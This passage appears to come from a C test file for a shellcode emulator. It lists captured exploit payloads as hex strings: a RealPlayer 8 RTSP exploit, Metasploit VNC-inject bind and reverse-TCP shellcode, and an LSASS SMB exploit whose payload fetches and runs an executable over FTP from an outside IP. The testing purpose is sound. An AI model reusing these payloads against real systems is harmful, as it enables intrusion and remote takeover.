"\x43\x41\x43\x41\x42\x43\x41\x41\x43\x41\x43\x42\x43\x41\x41\x43" "\x43\x43\x43\x41\x41\x42\x43\x41\x41\x43\x43\x41\x43\x43\x43\x43" "\x43\x43\x03\x43", .codesize = 580, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "clet decoded nop slide (144 0x90 decoded with ./clet -S 144nop -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123) ", .code = "\x43\x41\x50\x53\x50\x45\x43\x49\x41\x4C\x49\x53\x54\x53\x41\x43" "\x43\x45\x53\x53\x49\x4E\x47\x41\x4D\x42\x4C\x45\x44\x41\x4D\x45" "\x52\x49\x43\x41\x52\x45\x55\x4E\x49\x54\x45\x44\x57\x41\x52\x52" "\x41\x4E\x54\x59\x53\x4C\x41\x50\x53\x54\x49\x43\x4B\x43\x52\x59" "\x50\x54\x4F\x47\x52\x41\x50\x48\x49\x43\x41\x4C\x4C\x59\x41\x44" "\x56\x49\x43\x45\x45\x4E\x4A\x4F\x49\x4E\x53\x47\x4C\x4F\x52\x49" "\x46\x49\x43\x41\x54\x49\x4F\x4E\x50\x48\x4F\x45\x4E\x49\x58\x41" "\x48\x4D\x45\x44\x41\x42\x41\x44\x50\x52\x4F\xEB\x2E\x58\x31\xDB" "\xB3\x64\x8B\x08\xC1\xC1\x07\x81\xF1\x64\x9A\xAA\x3B\x81\xC1\xC4" "\x73\xD8\x66\xC1\xC1\x0A\x81\xC1\x31\x85\xF2\x3B\x89\x08\x40\x40" "\x40\x40\x80\xEB\x02\x4B\x4B\x74\x07\xEB\xD7\xE8\xCD\xFF\xFF\xFF" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4\x53\xAC\x96\xB4" "\x53\x2C\x6E\xB5\x43\x42\x41\x43\x43\x43\x42\x41\x41\x42\x43\x41" "\x41\x0A\x43\x43\x41\x41\x41\x43\x43\x42\x42\x43\x43\x41\x42\x41" "\x43\x42\x43\x0A\x42\x43\x41\x41\x43\x41\x42\x43\x43\x41\x43\x43" "\x42\x43\x41\x0A\x43\x41\x43\x43", .codesize = 1096, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "the hackers choice realplayer 8 exploit", .code = "\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e" // 0x0000 ../../.. /../../." "\x2e\x2f\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73" // 0x0010 ./+..... ..t$.[.s" "\x13\x9a\xaa\xe4\x36\x83\xeb\xfc\xe2\xf4\x66\xc0\x0f\x7b\x72\x53" // 0x0020 ....6... ..f..{rS" "\x1b\xc9\x65\xca\x6f\x5a\xbe\x8e\x6f\x73\xa6\x21\x98\x33\xe2\xab" // 0x0030 ..e.oZ.. os.!.3.." "\x0b\xbd\xd5\xb2\x6f\x69\xba\xab\x0f\x7f\x11\x9e\x6f\x37\x74\x9b" // 0x0040 ....oi.. ....o7t." "\x24\xaf\x36\x2e\x24\x42\x9d\x6b\x2e\x3b\x9b\x68\x0f\xc2\xa1\xfe" // 0x0050 $.6.$B.k .;.h...." "\xc0\x1e\xef\x4f\x6f\x69\xbe\xab\x0f\x50\x11\xa6\xaf\xbd\xc5\xb6" // 0x0060 ...Ooi.. .P......" "\xe5\xdd\x99\x86\x6f\xbf\xf6\x8e\xf8\x57\x59\x9b\x3f\x52\x11\xe9" // 0x0070 ....o... .WY.?R.." "\xd4\xbd\xda\xa6\x6f\x46\x86\x07\x6f\x76\x92\xf4\x8c\xb8\xd4\xa4" // 0x0080 ....oF.. ov......" "\x08\x66\x65\x7c\x82\x65\xfc\xc2\xd7\x04\xf2\xdd\x97\x04\xc5\xfe" // 0x0090 .fe|.e.. ........" "\x1b\xe6\xf2\x61\x09\xca\xa1\xfa\x1b\xe0\xc5\x23\x01\x50\x1b\x47" // 0x00a0 ...a.... ...#.P.G" "\xec\x34\xcf\xc0\xe6\xc9\x4a\xc2\x3d\x3f\x6f\x07\xb3\xc9\x4c\xf9" // 0x00b0 .4....J. =?o...L." "\xb7\x65\xc9\xf9\xa7\x65\xd9\xf9\x1b\xe6\xfc\xc2\xfc\x98\xfc\xf9" // 0x00c0 .e...e.. ........" "\x6d\xd7\x0f\xc2\x40\x2c\xea\x6d\xb3\xc9\x4c\xc0\xf4\x67\xcf\x55" // 0x00d0 m...@,.m ..L..g.U" "\x34\x5e\x3e\x07\xca\xdf\xcd\x55\x32\x65\xcf\x55\x34\x5e\x7f\xe3" // 0x00e0 4^>....U 2e.U4^.." "\x62\x7f\xcd\x55\x32\x66\xce\xfe\xb1\xc9\x4a\x39\x8c\xd1\xe3\x6c" // 0x00f0 b..U2f.. ..J9...l" "\x9d\x61\x65\x7c\xb1\xc9\x4a\xcc\x8e\x52\xfc\xc2\x87\x5b\x13\x4f" // 0x0100 .ae|..J. .R...[.O" "\x8e\x66\xc3\x83\x28\xbf\x7d\xc0\xa0\xbf\x78\x9b\x24\xc5\x30\x54" // 0x0110 .f..(.}. ..x.$.0T" "\xa6\x1b\x64\xe8\xc8\xa5\x17\xd0\xdc\x9d\x31\x01\x8c\x44\x64\x19" // 0x0120 ..d..... ..1..Dd." "\xf2\xc9\xef\xee\x1b\xe0\xc1\xfd\xb6\x67\xcb\xfb\x8e\x37\xcb\xfb" // 0x0130 ........ .g...7.." "\xb1\x67\x65\x7a\x8c\x9b\x43\xaf\x2a\x65\x65\x7c\x8e\xc9\x65\x9d" // 0x0140 .gez..C. *ee|..e." "\x1b\xe6\x11\xfd\x18\xb5\x5e\xce\x1b\xe0\xc8\x55\x34\x5e\x75\x64" // 0x0150 ......^. ...U4^ud" "\x04\x56\xc9\x55\x32\xc9\x4a\xaa\xe4\x36\x2e\x73\x6d\x69\x20\x52" // 0x0160 .V.U2.J. .6.smi R" "\x54\x53\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a\x44\x45\x53\x43\x52" // 0x0170 TSP/1.0. ...DESCR" "\x49\x42\x45\x20\x72\x74\x73\x70\x3a\x2f\x2f\x32\x31\x37\x2e\x31" // 0x0180 IBE rtsp ://217.1" "\x36\x30\x2e\x32\x32\x33\x2e\x37\x34\x3a\x35\x35\x34\x2f\x61\x73" // 0x0190 60.223.7 4:554/as" "\x64\x66\x2e\x6d\x70\x33\x20\x52\x54\x53\x50\x2f\x31\x2e\x30\x0d" // 0x01a0 df.mp3 R TSP/1.0." "\x0a\x44\x45\x53\x43\x52\x49\x42\x45\x20\x2f\x26\x21\x40\x2e\x25" // 0x01b0 .DESCRIB E /&!@.%" "\x5e\x25\x2e\x73\x6d\x69\x20\x52\x54\x53\x50\x2f\x31\x2e\x33\x2e" // 0x01c0 ^%.smi R TSP/1.3." "\x33\x2e\x37\x0d\x0a\x0d\x0a\x44\x45\x53\x43\x52\x49\x42\x45\x20" // 0x01d0 3.7....D ESCRIBE " "\x2f\x20\x2e\x73\x6d\x69\x20\x52\x54\x53\x50\x2f\x31\x2e\x30\x0d" // 0x01e0 / .smi R TSP/1.0." "\x0a\x0d\x0a\x20\x52\x54\x53\x50\x2f\x31\x2e\x30\x0d\x0a\x54\x72" // 0x01f0 ... RTSP /1.0..Tr" "\x61\x6e\x73\x70\x6f\x72\x74\x3a\x20\x54\x48\x43\x72\x30\x78\x21", // 0x0200 ansport: THCr0x!" .codesize = 528, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "win32_bind_vncinject - VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll EXITFUNC=seh AUTOVNC=1 VNCPORT=5900 LPORT=4444 Size=287 Encoder=None http://metasploit.com", .code = "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c" "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32" "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07" "\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24" "\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8" "\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64" "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x8e" "\x4e\x0e\xec\xff\xd6\x89\xc7\x81\xec\x00\x01\x00\x00\x57\x56\x53" "\x89\xe5\xe8\x27\x00\x00\x00\x90\x01\x00\x00\xb6\x19\x18\xe7\xa4" "\x19\x70\xe9\xe5\x49\x86\x49\xa4\x1a\x70\xc7\xa4\xad\x2e\xe9\xd9" "\x09\xf5\xad\xcb\xed\xfc\x3b\x57\x53\x32\x5f\x33\x32\x00\x5b\x8d" "\x4b\x20\x51\xff\xd7\x89\xdf\x89\xc3\x8d\x75\x14\x6a\x07\x59\x51" "\x53\xff\x34\x8f\xff\x55\x04\x59\x89\x04\x8e\xe2\xf2\x2b\x27\x54" "\xff\x37\xff\x55\x30\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff" "\x55\x2c\x89\xc7\x31\xdb\x53\x53\x68\x02\x00\x11\x5c\x89\xe0\x6a" "\x10\x50\x57\xff\x55\x24\x53\x57\xff\x55\x28\x53\x54\x57\xff\x55" "\x20\x89\xc7\x81\xec\x00\x10\x00\x00\x89\xe3\x6a\x00\x68\x00\x10" "\x00\x00\x53\x57\xff\x55\x18\x81\xec\x00\x04\x00\x00\xff\xd3", .codesize = 287, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "windows/vncinject/reverse_tcp - 177 bytes (stage 1) http://www.metasploit.com DisableCourtesyShell=false, VNCHOST=127.0.0.1, VNCPORT=5900, EXITFUNC=seh, DLL=/tmp/framework-3.0/data/vncdll.dll, LPORT=4444, LHOST=192.168.53.20, AUTOVNC=true", .code = "\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d" "\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34" "\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0" "\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9" "\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c" "\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53" "\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02" "\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6" "\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3" "\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50" "\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6", .codesize = 177, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "till sein lsass dump", .code = "\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x37\x13" "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f" "\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02" "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f" "\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70" "\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30" "\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54" "\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00\x00\x00\x10\xbf\xff\x53\x4d" "\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x37\x13\x00\x00\x00\x00\x0c\xff\x00" "\x00\x00\x04\x11\x0a\x00\x00\x00\x00\x00\x00\x00\x7e\x10\x00\x00" "\x00\x00\xd4\x00\x00\x80\x7e\x10\x60\x82\x10\x7a\x06\x06\x2b\x06" "\x01\x05\x05\x02\xa0\x82\x10\x6e\x30\x82\x10\x6a\xa1\x82\x10\x66" "\x23\x82\x10\x62\x03\x82\x04\x01\x00\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x03\x00\x23\x82\x0c\x57\x03" "\x82\x04\x0a\x00\x90\x42\x90\x42\x90\x42\x90\x42\x81\xc4\x54\xf2" "\xff\xff\xfc\xe8\x46\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" "\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3\x2e\x49\x8b\x34\x8b\x01" "\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4" "\x3b\x54\x24\x04\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" "\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0" "\x64\x8b\x40\x30\x85\xc0\x78\x0f\x8b\x40\x0c\x8b\x70\x1c\xad\x8b" "\x68\x08\xe9\x0b\x00\x00\x00\x8b\x40\x34\x05\x7c\x00\x00\x00\x8b" "\x68\x3c\x5f\x31\xf6\x60\x56\xeb\x0d\x68\xef\xce\xe0\x60\x68\x98" "\xfe\x8a\x0e\x57\xff\xe7\xe8\xee\xff\xff\xff\x63\x6d\x64\x20\x2f" "\x6b\x20\x65\x63\x68\x6f\x20\x6f\x70\x65\x6e\x20\x32\x31\x37\x2e" "\x32\x33\x32\x2e\x39\x32\x2e\x36\x34\x20\x32\x30\x31\x33\x39\x20" "\x3e\x20\x69\x26\x65\x63\x68\x6f\x20\x75\x73\x65\x72\x20\x31\x20" "\x31\x20\x3e\x3e\x20\x69\x20\x26\x65\x63\x68\x6f\x20\x67\x65\x74" "\x20\x65\x72\x61\x73\x65\x6d\x65\x5f\x38\x31\x34\x37\x30\x2e\x65" "\x78\x65\x20\x3e\x3e\x20\x69\x20\x26\x65\x63\x68\x6f\x20\x71\x75" "\x69\x74\x20\x3e\x3e\x20\x69\x20\x26\x66\x74\x70\x20\x2d\x6e\x20" "\x2d\x73\x3a\x69\x20\x26\x65\x72\x61\x73\x65\x6d\x65\x5f\x38\x31" "\x34\x37\x30\x2e\x65\x78\x65\x0d\x0a\x00\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" 